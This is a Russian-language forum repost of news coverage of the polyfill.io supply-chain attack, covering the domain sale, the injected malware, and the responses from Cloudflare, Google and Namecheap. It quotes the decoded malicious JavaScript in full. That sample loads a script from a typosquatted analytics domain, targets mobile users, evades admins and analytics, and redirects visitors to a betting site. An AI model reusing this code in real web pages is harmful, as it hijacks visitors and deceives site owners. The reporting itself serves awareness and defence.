Новый владелец популярного проекта Polyfill JS внедрил вредоносное ПО более чем на 100 тысяч сайтов

Polyfill.js - популярная библиотека с открытым исходным кодом для поддержки старых браузеров. Более 100 тыс. сайтов встраивают ее через домен cdn.polyfill.io. Среди известных пользователей JSTOR (цифровая база данных полнотекстовых научных журналов), Intuit и вебсайт Всемирного экономического форума. В феврале этого года китайская компания Funnull купила домен и аккаунт на Github. С тех пор этот домен был замечен в внедрении вредоносного ПО на мобильные устройства через вебсайты, использующие cdn.polyfill.io. Любые жалобы быстро удалялись из репозитория Github (архив здесь).

Полифил динамически генерируется на основе HTTP-заголовков, поэтому вероятны несколько векторов атаки. Специалисты из компании Sansec декодировали один из экземпляров вредоносного ПО, которое перенаправляет мобильных пользователей на сайт онлайн-букмекера через поддельный домен Google Analytics (www.googie-anaiytics.com). Код имеет защиту от реверс-инжиниринга и активируется только на определенных мобильных устройствах в определенные часы, не активируется при обнаружении пользователя-администратора, а также приостанавливает выполнение при обнаружении службы веб-аналитики, предположительно, чтобы не попасть в отчёты.

Автор оригинального проекта рекомендует не использовать Polyfill, так как он больше не нужен современным браузерам. Тем временем, Fastly и Cloudflare предложили собственные альтернативы пользователям.

Этот инцидент является типичным примером атаки на цепочку поставок - SSC — software supply chain attacks (статья на Хабре для интересующихся - https://habr.com/ru/articles/733504/). Авторы оригинальной статьи, компания Sansec, предложила бесплатный сервис мониторинга Sansec Watch.

Пример вредоносного кода Polyfill:
PHP:
function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

Линки, которые свидетельствуют о компрометации


Обновление 25 июня:

Google начал блокировать рекламу для сайтов eCommerce, использующих polyfill.io.

Обновление 26 июня:

Кто-то запустил DDoS-атаки на инфраструктуру компаний Sansec и BleepingComputer (издание, первым опубликовавшее исследование от Sansec).

Обновление 27 июня:

Cloudflare реализовала перенаправление в реальном времени с cdn.polyfill.io на свою версию. Позже регистратор Namecheap приостановил действие домена

Источник
 
И продолжение банкета
Владельцы популярного сервиса Polyfill.io — это сервис, предоставляющий полифиллы (фрагменты кода), которые позволяют использовать современные функции веб-стандартов в старых браузерах, которые их не поддерживают.

Polyfill.io автоматически определяет, какие полифиллы необходимы для текущего браузера пользователя, и загружает только их, минимизируя таким образом размер загружаемого кода. Это помогает разработчикам обеспечить кроссбраузерную совместимость и улучшить производительность веб-приложений. Polyfill.io, оказавшегося в центре скандала из-за внедрения вредоносного кода на более 100 000 сайтов, перезапустили его под новым доменом после того, как оригинальный сайт был закрыт. Сервис теперь расположен на адресе Polyfill[.]com, который зарегистрирован в NameCheap – это регистратор доменных имен и компания по предоставлению услуг хостинга, которая предоставляет возможность отдельным пользователям и бизнесам регистрировать доменные имена, управлять веб-хостингом и обеспечивать безопасность с помощью SSL-сертификатов.Namecheap (как и предыдущая версия сайта) и полностью функционален.

Представители Polyfill.io заявили, что стали жертвами клеветы и опровергли наличие каких-либо рисков цепочки поставок. Компания откликнулась на обвинения в участии в крупномасштабной атаке на цепочку поставок, утверждая, что все их сервисы кэшируются в Cloudflare - это американская технологическая компания, которая предоставляет услуги защиты, ускорения и оптимизации веб-сайтов и приложений. Компания была основана в 2009 году и сейчас является одним из ведущих поставщиков облачных услуг безопасности и контента.

Cloudflare предлагает широкий спектр продуктов и решений, включая межсетевые экраны, DNS-сервисы и другие инструменты для улучшения производительности и безопасности веб-сайтов. Компания также предлагает аналитические инструменты и сервисы для мониторинга и анализа трафика в режиме реального времени. Cloudflare и безопасны для использования. Несмотря на заверения компании, факты, предоставленные экспертами по безопасности, говорят об обратном.

Компания Cloudflare также обратила внимание на несанкционированное использование своего названия и логотипа Polyfill.io. Cloudflare заявила, что Polyfill.io проигнорировала просьбы компании и не убрала логотип с сайта, что стало ещё одним предупреждающим сигналом о ненадёжности компании.

bpyrcyd7r1qkejk63zm65eckwmy32pt3.webp


Название Cloudflare на сайте Polyfill

Cloudflare подтвердила заявления Sansec о том, что код, распространяемый через Сеть доставки контента (CDN) - это распределенная система серверов, которая предназначена для ускорения и повышения доступности контента в Интернете.

Основная идея CDN заключается в том, чтобы разместить копии веб-сайтов, видео, музыки, изображений и другого контента на серверах, которые расположены ближе к конечным пользователям. Когда пользователь запрашивает контент, запрос направляется на сервер, находящийся ближе всего к пользователю, что позволяет снизить время ожидания и увеличить скорость загрузки страниц.

Кроме того, CDN помогает снизить нагрузку на серверы, на которых хранится контент, что повышает их надежность и стабильность. CDN также может обеспечивать дополнительную защиту от DDoS-атак и других видов кибератак. CDN Polyfill.io, действительно перенаправлял пользователей на сайты ставок. В Cloudflare сообщили, что «около 4% интернета» использовали polyfill.io, и назвали последствия атаки «крайне тревожными». Cloudflare предпринимает меры по автоматической замене ссылок на Polyfill.io безопасным зеркалом на сайтах, которые защищены Cloudflare.

Кроме того, Google начал уведомлять рекламодателей об этой атаке на цепочку поставок, предупреждая, что их целевые страницы содержат вредоносный код, который может перенаправлять посетителей без разрешения владельцев сайтов.

Cloudflare советует владельцам сайтов искать в своих репозиториях кода упоминания Polyfill.io и заменять их на «cdnjs.cloudflare.com/polyfill/». Это некритическое изменение, так как оба URL будут предоставлять одинаковый контент Polyfill, однако всем администраторам рекомендуется сделать это.

ИБ-компания Leak Signal также создала сайт Polykill.io, который позволяет искать сайты, использующие «cdn.polyfill.io», и предоставляет информацию о переходе на альтернативные решения.

В свете всех событий владельцам сайтов и разработчикам настоятельно рекомендуется воздержаться от использования как старого домена polyfill.io, так и нового polyfill.com, и заменить их на более безопасные альтернативы.

Подробнее: https://www.securitylab.ru/news/549604.php
 
Назад
Сверху Снизу